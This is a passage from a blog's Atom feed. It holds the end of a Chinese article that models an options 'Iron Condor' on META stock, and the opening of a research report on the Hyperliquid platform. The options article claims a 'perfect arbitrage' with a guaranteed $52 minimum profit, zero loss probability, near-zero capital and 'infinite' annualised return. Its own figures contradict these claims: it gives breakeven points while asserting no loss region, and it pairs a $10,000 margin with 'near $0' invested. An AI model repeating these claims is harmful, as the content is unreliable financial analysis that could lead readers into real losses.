style="margin-right:0.1667em;"></span><span class="mord">900</span><span class="mclose">)</span></span></span></span>：最小值在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>处，值为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">52</span></span></span></span></li><li>常数区间：固定值<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">52</span></span></span></span></li></ul></li></ol><p><strong>数学证明结论</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5895em;vertical-align:-0.8395em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6679em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span><span class="mrel mtight">≥</span><span class="mord mtight">0</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">min</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">52</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">3.5</span><span class="mclose">)</span></span></span></span></span></p><p><strong>数值验证</strong>（以<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">750</span></span></span></span>为例）：<br>根据方程(3.4)的第二分段：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">750</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">750</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">69948</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">75000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">69948</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5052</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">3.6</span><span class="mclose">)</span></span></span></span></span></p><p>该数值验证结果与之前损益表格的计算结果完全吻合，证实了数学模型的内在一致性。</p><p><strong>核心数学特征</strong>：</p><ul><li>分段函数在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>处达到全局最大值<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">052</span></span></span></span></li><li>函数关于<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>呈现完全对称性，形成Iron Condor策略特有的&quot;秃鹰&quot;收益曲线</li><li>函数值域严格为正，数学上排除负收益可能性</li></ul><p>上述特征揭示了该策略的套利本质：在理想化数学模型框架内，策略收益具有确定性保证，最低收益阈值为$52。</p><p><strong>收益分布规律</strong>：</p><ul><li>700-900区间内：收益$5,052-$10,052</li><li>区间外：收益固定$52</li><li>800美元附近收益最大化</li></ul><p><strong>数学模型的意义</strong>：</p><ul><li>✅ <strong>提供理论框架</strong>：帮助理解策略的内在逻辑</li><li>✅ <strong>风险边界计算</strong>：明确最坏情况下的损失上限</li><li>✅ <strong>决策支持</strong>：基于概率和期望收益做判断</li><li>⚠️ <strong>现实修正</strong>：实际操作需考虑模型外因素</li></ul><h4 id="4-2-4-Iron-Condor组合盈亏曲线分析">4.2.4 Iron Condor组合盈亏曲线分析</h4><p>方程(3.4)所描述的完整策略收益分布如图3所示：</p><pre><code class="highlight mermaid">xychart-beta    title &quot;图3: Iron Condor盈亏曲线 - 铁秃鹰形状&quot;    x-axis &quot;META股价($)&quot; [600, 650, 700, 750, 800, 850, 900, 950, 1000]    y-axis &quot;收益($)&quot; 0 --&gt; 12000    line &quot;总收益&quot; [52, 52, 52, 5052, 10052, 5052, 52, 52, 52]</code></pre><p><strong>图3：Iron Condor盈亏曲线深度解析</strong></p><p><em>数据来源：基于Bull Put Spread与Bear Call Spread组合的综合理论计算</em><br><em>横轴：META股票价格（美元/股）；纵轴：策略总收益（美元）</em></p><p><strong>关键信息分解</strong>：</p><ul><li><strong>数据范围</strong>：股价$600-$1000，收益$52至$10,052</li><li><strong>关键特征点</strong>：<ul><li>最低收益点：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">52</span><span class="mord cjk_fallback">（</span></span></span></span>S ≤ 700$ 或 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>）</li><li>最高收益点：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">052</span><span class="mord cjk_fallback">（</span></span></span></span>S = 800$）</li><li>线性变化区间：$700-$800（上升）和$800-$900（下降）</li></ul></li><li><strong>曲线构成</strong>：五段式分段函数，呈现独特的尖峰对称结构</li></ul><p><strong>盈亏曲线特征分析</strong>：</p><p>🦅 <strong>&quot;Iron Condor尖峰型&quot;的形状</strong>（与传统Iron Condor不同）：</p><ul><li><strong>左翼稳定区</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">700</span></span></span></span>）：固定收益$52，体现极端下跌情况下的保底收益</li><li><strong>左上升坡</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>）：线性上升至峰顶，斜率为+100，反映Bull Put收益释放</li><li><strong>峰顶最优点</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>）：最大收益$10,052，两个策略收益叠加的最优化点位</li><li><strong>右下降坡</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>）：线性下降至翼端，斜率为-100，反映Bear Call风险增加</li><li><strong>右翼稳定区</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>）：固定收益$52，体现极端上涨情况下的保底收益</li></ul><p><strong>策略形态对比</strong>：</p><ul><li><strong>传统Iron Condor形状</strong>：<code>___/￣￣￣\___</code>（中间有平坦收益区域）</li><li><strong>本策略独特形状</strong>：<code>___/\___</code>（尖峰型对称结构）</li><li><strong>形成原因</strong>：中间两个期权都采用800美元执行价格，创造单一收益最大化点位，而非传统的收益平台</li></ul><p>🎯 <strong>数学性质总结</strong>：</p><ul><li><strong>全正收益特性</strong>：在所有价格区间内收益均为正数，理论亏损概率为零</li><li><strong>对称性</strong>：以800美元为轴心呈现完全对称的收益分布</li><li><strong>稳定性</strong>：极端价格下的收益稳定在$52，提供风险保护</li><li><strong>效率性</strong>：收益范围$52-$10,052，呈现193倍的收益弹性空间</li><li><strong>700/900美元</strong>：边界点位，最低保证收益$52</li><li><strong>710.56/811.08美元</strong>：盈亏平衡点（基于各自分段函数）</li></ul><p>⚡ <strong>风险特征</strong>：</p><ul><li><strong>无亏损区域</strong>：整条曲线都在零轴之上</li><li><strong>最低保证</strong>：即使极端情况也有$52收益</li><li><strong>高胜率区间</strong>：700-900美元范围内都有良好收益</li></ul><hr><h2 id="5-套利机制深度分析">5. 套利机制深度分析</h2><p>本章从理论角度解析Iron Condor策略的套利本质。<strong>核心发现</strong>：该策略通过三重套利机制实现&quot;无风险&quot;收益：①结构套利（数学保证$52最低收益），②概率套利（高胜率价格区间700-900美元），③资金成本套利（Portfolio Margin杠杆效应）。本章将深入阐述这一复杂金融工具背后的数学逻辑与经济原理，揭示套利机会的本质来源。</p><p>本节从理论角度深入剖析Iron Condor策略的套利本质，解释为什么这一组合能够在数学上实现&quot;无风险&quot;收益。我们将从结构套利、概率套利和资金成本套利三个维度，全面阐述套利机会的来源与机制。这一分析将帮助理解复杂金融策略背后的数学逻辑与经济原理。</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;三重套利机制分析&quot;        subgraph &quot;1. 结构套利&quot;            A[&quot;数学保证收益机制&quot;]            A1[&quot;分段函数最小值&gt;0&lt;br/&gt;min Π(S) = $52&quot;]            A2[&quot;精确价格关系构造&lt;br/&gt;任何情况都盈利&quot;]            A --&gt; A1            A --&gt; A2        end        subgraph &quot;2. 概率套利&quot;            B[&quot;统计优势增强机制&quot;]            B1[&quot;高概率盈利区间&lt;br/&gt;700-900美元范围&quot;]            B2[&quot;历史波动率分析&lt;br/&gt;极端价格概率低&quot;]            B --&gt; B1            B --&gt; B2        end        subgraph &quot;3. 资金成本套利&quot;            C[&quot;Portfolio Margin杠杆效应&quot;]            C1[&quot;保证金需求$10,000&lt;br/&gt;实际占用资金少&quot;]            C2[&quot;年化收益率潜力&lt;br/&gt;基于杠杆放大&quot;]            C --&gt; C1            C --&gt; C2        end    end    subgraph &quot;套利实现条件&quot;        D[&quot;理想市场假设&quot;]        E[&quot;固定价格假设&quot;]        F[&quot;静态保证金假设&quot;]    end    subgraph &quot;风险因素&quot;        G[&quot;交易成本影响&quot;]        H[&quot;流动性约束&quot;]        I[&quot;极端市场事件&quot;]    end    A1 --&gt; D    B1 --&gt; E    C1 --&gt; F    D -.制约.-&gt; G    E -.制约.-&gt; H    F -.制约.-&gt; I    style A fill:#c8e6c9    style B fill:#e3f2fd    style C fill:#fff3e0    style A1 fill:#c8e6c9    style G fill:#ffcdd2    style H fill:#ffcdd2    style I fill:#ffcdd2</code></pre><h3 id="5-1-三重套利机制分析">5.1 三重套利机制分析</h3><h4 id="5-1-1-结构套利：数学保证的收益机制">5.1.1 结构套利：数学保证的收益机制</h4><p>通过精确计算四个期权的价格关系，构造了一个在任何情况下都盈利的组合。</p><p><strong>数学原理</strong>：</p><ul><li>收取总权利金：$10,052</li><li>最大单边损失：$10,000（价差100美元 × 100股）</li><li>数学差额：$52（保证最低收益）</li></ul><p><strong>为什么最大损失是$10,000？</strong></p><ul><li>Bull Put Spread最大损失：(800-700) × 100股 = $10,000</li><li>Bear Call Spread最大损失：(900-800) × 100股 = $10,000</li><li>但两者不会同时发生，所以最大单边损失就是$10,000</li></ul><p><strong>Iron Condor的精妙之处</strong>：通过四个期权的组合，创造了一个在任何价格下都盈利的结构</p><h4 id="5-1-2-概率套利：基于统计分析的收益增强">5.1.2 概率套利：基于统计分析的收益增强</h4><p>这不是盲目赌博，而是基于统计分析：</p><p><strong>历史数据显示</strong>：</p><ul><li>大型科技股在2年内价格波动通常在合理范围内</li><li>META在700-900美元区间的概率相对较高</li><li>极端价格（&lt;700或&gt;900）的概率较低</li></ul><p><strong>期望收益计算</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">假设概率分布：</span><br><span class="line">- 50%概率在最佳区间（700,800-900） → 收益$10,052</span><br><span class="line">- 30%概率在一般区间（750-799） → 收益约$5,000-8,000</span><br><span class="line">- 20%概率在区间外（&lt;700或&gt;900） → 收益$52</span><br><span class="line"></span><br><span class="line">期望收益 = 0.5 × $10,052 + 0.3 × $6,500 + 0.2 × $52 ≈ $7,000+</span><br></pre></td></tr></table></figure><p><strong>概率优势的来源</strong>：</p><ul><li>大型科技股价格通常相对稳定</li><li>极端价格波动（±30%以上）概率较低</li><li>2年期限给予充足的价格回归时间</li></ul><h4 id="5-1-3-资金成本套利：Portfolio-Margin的杠杆效应">5.1.3 资金成本套利：Portfolio Margin的杠杆效应</h4><p><strong>Portfolio Margin的优势</strong>：</p><p><strong>传统投资</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">投入资金：$100,000</span><br><span class="line">年收益率：5%</span><br><span class="line">年收入：$5,000</span><br></pre></td></tr></table></figure><p><strong>这个策略</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">投入资金：接近$0（Portfolio Margin规则）</span><br><span class="line">立即获得现金：$10,052</span><br><span class="line">投资美债：$10,052 × 5% × 2年 = $1,005</span><br><span class="line">期权收益：$52 - $10,052</span><br><span class="line"></span><br><span class="line">总收益：$1,057 - $11,057（2年内）</span><br><span class="line">年化收益率：无限（因为几乎无本金）</span><br></pre></td></tr></table></figure><p><strong>复合收益效果</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">单个组合：</span><br><span class="line">- 基础期权收益：$52 - $10,052</span><br><span class="line">- 固定收益投资：$10,052 × 5% × 2年 = $1,005</span><br><span class="line">- 总收益范围：$1,057 - $11,057</span><br><span class="line"></span><br><span class="line">如果做5个组合：</span><br><span class="line">- 期权收益：$260 - $50,260</span><br><span class="line">- 固定收益：$50,260 × 5% × 2年 = $5,026</span><br><span class="line">- 总收益：$5,286 - $55,286</span><br></pre></td></tr></table></figure><p><strong>关键洞察</strong>：</p><ul><li>即使最坏情况下，2年总收益率也超过无风险利率</li><li>最好情况下，年化收益率可达50%+</li><li>这就是为什么称之为“完美套利”</li></ul><hr><h2 id="6-风险评估与现实约束分析">6. 风险评估与现实约束分析</h2><p>本章对理论模型与实际交易环境进行对比分析，识别影响策略表现的关键风险因素。<strong>核心结论</strong>：理论套利在现实中面临三大约束：交易成本（降低收益10-20%）、流动性风险（买卖价差影响）、极端市场事件（模型失效风险）。本章将构建完整的风险管理框架，明确理论模型的适用边界，为实际应用提供科学指导。</p><p>本节将理论模型与实际交易环境进行对比分析，识别和评估可能影响策略表现的各类风险因素。通过系统性的风险分析，我们将明确理论套利与现实交易之间的差距，为实际应用提供风险管理框架。这一分析对于理解数学模型的局限性及其在实际金融环境中的适用性具有重要意义。</p><h3 id="6-1-理论模型与实际环境的系统性偏差">6.1 理论模型与实际环境的系统性偏差</h3><p><strong>理论数学模型假设</strong>：</p><ul><li>完美流动性：能按理论价格精确成交</li><li>零交易成本：无手续费、税费、滑点</li><li>标准执行：期权按到期日统一行权</li><li>稳定保证金：Portfolio Margin要求不变</li><li><strong>在此假设下</strong>：数学保证最低盈利$52</li></ul><p><strong>现实交易环境考虑</strong>：</p><p><strong>交易成本</strong>：</p><ul><li>期权手续费：每手$1-5</li><li>Bid-Ask价差：可能影响成交价格</li><li>滑点成本：大单可能影响市场价格</li></ul><p><strong>流动性风险</strong>：</p><ul><li>期权交易量可能不足</li><li>难以按理论价格精确成交</li><li>提前平仓可能面临价差损失</li></ul><p><strong>保证金风险</strong>：</p><ul><li>Portfolio Margin要求可能变化</li><li>极端市场情况下保证金要求激增</li><li>账户净值波动影响可用杠杆</li></ul><h3 id="6-2-提前行权风险评估">6.2 提前行权风险评估</h3><p><strong>美式期权特殊情况</strong>：</p><ul><li>期权持有人可以在任何时候行权</li><li>分红前可能面临提前行权</li><li>打乱了理论计算模型</li></ul><h3 id="6-3-极端市场事件的影响分析">6.3 极端市场事件的影响分析</h3><p><strong>极端市场情况</strong>：</p><ul><li>市场暂停交易</li><li>标的股票停牌或退市</li><li>系统性金融危机</li><li>监管政策突变</li></ul><p>虽然概率极低，但可能影响策略执行。</p><h2 id="7-结论：Iron-Condor策略的数学本质与理论价值">7. 结论：Iron Condor策略的数学本质与理论价值</h2><h3 id="7-1-数学建模的核心贡献">7.1 数学建模的核心贡献</h3><p>通过本研究的严格数学分析，我们构建了Iron Condor策略的完整理论框架。该策略的核心价值在于：通过四个期权合约的精确组合，创造了在理想市场条件下具有数学保证的正收益结构。</p><h3 id="7-2-理论套利的数学证明">7.2 理论套利的数学证明</h3><p>本研究的关键发现体现在方程(3.4)所描述的分段收益函数中。该函数的最重要特征是其最小值严格大于零，如方程(3.5)所证明的：$$\min_{S \geq 0} \Pi_{\text{Total}}(S) = 52 &gt; 0$$</p><p>这一数学结果的意义在于：在满足模型假设的理想条件下，该策略在任何标的资产价格水平都能产生正收益。这种数学确定性源于Bull Put Spread与Bear Call Spread两个组件策略的互补性设计：前者提供高收益潜力，后者提供风险对冲，两者组合消除了单边策略固有的亏损风险。</p><h3 id="7-3-套利机制的经济学解释">7.3 套利机制的经济学解释</h3><p>从经济学角度，该策略的套利性质体现在：通过收取总权利金$10,052，同时将最大单边风险控制在$10,000以内，创造了$52的理论套利空间。这一微小但确定的收益差额，反映了期权市场定价的细微不完善以及不同到期结构之间的价值差异。</p><h3 id="7-4-理论模型的实际意义">7.4 理论模型的实际意义</h3><p>尽管理论模型基于理想化假设，但其价值不仅在于提供套利机会的识别框架，更在于：</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Iron Condor策略价值总结&quot;        subgraph &quot;理论贡献&quot;            A[&quot;数学建模框架&lt;br/&gt;分段函数构造方法&quot;]            B[&quot;套利机制证明&lt;br/&gt;min Π(S) = $52 &gt; 0&quot;]            C[&quot;风险收益分析&lt;br/&gt;完整的理论框架&quot;]        end        subgraph &quot;实践指导&quot;            D[&quot;策略设计原则&lt;br/&gt;互补性组合思维&quot;]            E[&quot;风险管理方法&lt;br/&gt;边界条件验证&quot;]            F[&quot;收益优化路径&lt;br/&gt;杠杆效应应用&quot;]        end        subgraph &quot;理论局限&quot;            G[&quot;理想化假设&lt;br/&gt;完美市场条件&quot;]            H[&quot;交易成本忽略&lt;br/&gt;影响实际收益&quot;]            I[&quot;极端事件风险&lt;br/&gt;模型外因素&quot;]        end    end    subgraph &quot;学术价值&quot;        J[&quot;期权理论扩展&lt;br/&gt;复杂策略建模&quot;]        K[&quot;金融工程方法&lt;br/&gt;数学证明技术&quot;]        L[&quot;风险管理理论&lt;br/&gt;多层保护机制&quot;]    end    subgraph &quot;实际应用&quot;        M[&quot;交易策略参考&lt;br/&gt;考虑成本修正&quot;]        N[&quot;风险评估工具&lt;br/&gt;敏感性分析&quot;]        O[&quot;投资组合优化&lt;br/&gt;收益增强手段&quot;]    end    A --&gt; J    B --&gt; K    C --&gt; L    D --&gt; M    E --&gt; N    F --&gt; O    G -.限制.-&gt; M    H -.限制.-&gt; N    I -.限制.-&gt; O    style B fill:#c8e6c9    style K fill:#c8e6c9    style D fill:#e3f2fd    style M fill:#e3f2fd    style G fill:#ffcdd2    style H fill:#ffcdd2    style I fill:#ffcdd2</code></pre><ol><li><strong>风险量化工具</strong>：分段函数方法可以精确描述任何复杂衍生品组合的风险收益特征</li><li><strong>决策分析框架</strong>：通过数学建模，投资者可以在概率基础上进行理性决策</li><li><strong>策略优化基础</strong>：理论模型为实际策略的参数调优提供数学基准</li></ol><h3 id="7-5-数学思维在金融实践中的价值">7.5 数学思维在金融实践中的价值</h3><p>本案例证明了数学建模在金融分析中的核心地位。通过严格的分段函数分析、边界条件验证和风险度量，我们能够透彻理解复杂金融工具的本质特征。这种定量分析能力不仅有助于理解现有策略，更能指导新策略的创造与优化。在日益复杂的金融市场中，数学建模能力本身就构成了重要的竞争优势。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/options-arbitrage-strategy-modeling/</id>
    <link href="https://www.blog-blockchain.xyz/finance/options-arbitrage-strategy-modeling/"/>
    <published>2025-08-31T07:45:00.000Z</published>
    <summary>本研究通过严格的数学建模方法，深入分析Iron Condor期权组合策略的套利机制与风险收益结构。核心发现：该策略在理想市场条件下能够实现数学保证的正收益，最低收益$52，最高收益$10,052，理论亏损概率为零。研究建立了完整的分段函数理论框架，证明了Bull Put Spread与Bear Call Spread两个组件策略的互补性设计，为期权组合策略分析提供了标准数学模型和实践指导方法。</summary>
    <title>期权组合套利策略的数学分析和建模</title>
    <updated>2026-02-19T16:18:55.095Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="Hyperliquid" scheme="https://www.blog-blockchain.xyz/categories/Hyperliquid/"/>
    <category term="Hyperliquid" scheme="https://www.blog-blockchain.xyz/tags/Hyperliquid/"/>
    <content>
      <![CDATA[<h2 id="摘要">摘要</h2><p>本报告对Hyperliquid区块链平台进行全面深度分析，涵盖技术架构、团队背景、代币经济学、生态发展、竞争格局及风险评估。研究发现，Hyperliquid作为高性能去中心化交易平台，在技术创新、市场表现和生态发展方面展现出显著优势，同时也面临中心化风险和监管不确定性等挑战。</p><pre><code class="highlight mermaid">mindmap  root)Hyperliquid深度调研报告(    id[&quot;📋 研究方法与关键假设&quot;]      [&quot;技术分析&quot;]      [&quot;市场数据分析&quot;]      [&quot;竞争分析&quot;]      [&quot;安全调研&quot;]    id[&quot;📖 核心术语定义&quot;]    id[&quot;🏢 项目概述&quot;]    id[&quot;👥 核心团队与背景&quot;]      [&quot;创始团队&quot;]      [&quot;技术哲学&quot;]      [&quot;发展历程&quot;]    id[&quot;⚙️ 核心技术特点&quot;]      [&quot;技术架构&quot;]      [&quot;HyperEVM设计&quot;]      [&quot;性能指标&quot;]    id[&quot;💰 代币经济学&quot;]      [&quot;基本信息&quot;]      [&quot;空投成就&quot;]      [&quot;代币分配&quot;]      [&quot;治理特点&quot;]    id[&quot;🌱 生态系统分析&quot;]      [&quot;发展概况&quot;]      [&quot;经济循环&quot;]      [&quot;项目分析&quot;]    id[&quot;⚔️ 市场竞争分析&quot;]      [&quot;竞争定位&quot;]      [&quot;对比分析&quot;]      [&quot;用户体验&quot;]    id[&quot;🏆 竞争优势&quot;]      [&quot;技术优势&quot;]      [&quot;生态优势&quot;]      [&quot;产品优势&quot;]    id[&quot;⚠️ 安全事件与风险评估&quot;]      [&quot;安全争议&quot;]      [&quot;风险因素&quot;]    id[&quot;🔮 未来展望&quot;]      [&quot;发展路线图&quot;]      [&quot;长期愿景&quot;]    id[&quot;📊 总结&quot;]      [&quot;核心成就&quot;]      [&quot;风险挑战&quot;]    id[&quot;🛡️ 生态安全风险评估&quot;]      [&quot;高风险项目&quot;]      [&quot;中等风险项目&quot;]      [&quot;相对安全项目&quot;]</code></pre><h2 id="研究方法与关键假设">研究方法与关键假设</h2><h3 id="研究方法">研究方法</h3><p>本报告采用多元化研究方法论，结合定量数据分析与定性评估：</p><ul><li><strong>技术分析</strong>：基于公开技术文档、白皮书和开源代码进行架构分析</li><li><strong>市场数据分析</strong>：采用链上数据、交易量统计和TVL变化趋势</li><li><strong>竞争分析</strong>：对标同类项目，进行功能和性能对比</li><li><strong>安全调研</strong>：通过Firecrawl深度网络搜索，识别生态项目安全风险和负面事件</li></ul><h3 id="关键假设条件">关键假设条件</h3><h4 id="1-技术发展假设">1. 技术发展假设</h4><ul><li><strong>假设内容</strong>：Hyperliquid的技术路线图将按计划执行，2025年实现100万笔/秒处理能力</li><li><strong>合理性</strong>：基于团队历史交付能力和当前技术发展轨迹</li><li><strong>风险评估</strong>：技术复杂性可能导致延期，但核心架构已验证可行性</li><li><strong>影响范围</strong>：直接影响性能对比结论和未来发展预期</li></ul><h4 id="2-市场环境假设">2. 市场环境假设</h4><ul><li><strong>假设内容</strong>：去中心化永续合约市场将继续增长，监管环境不会出现颠覆性变化</li><li><strong>合理性</strong>：基于DeFi市场历史发展趋势和当前监管态度</li><li><strong>局限性</strong>：监管政策变化具有不可预测性，可能显著影响业务模式</li><li><strong>敏感性分析</strong>：监管收紧可能导致用户流失和业务模式调整</li></ul><h4 id="3-竞争格局假设">3. 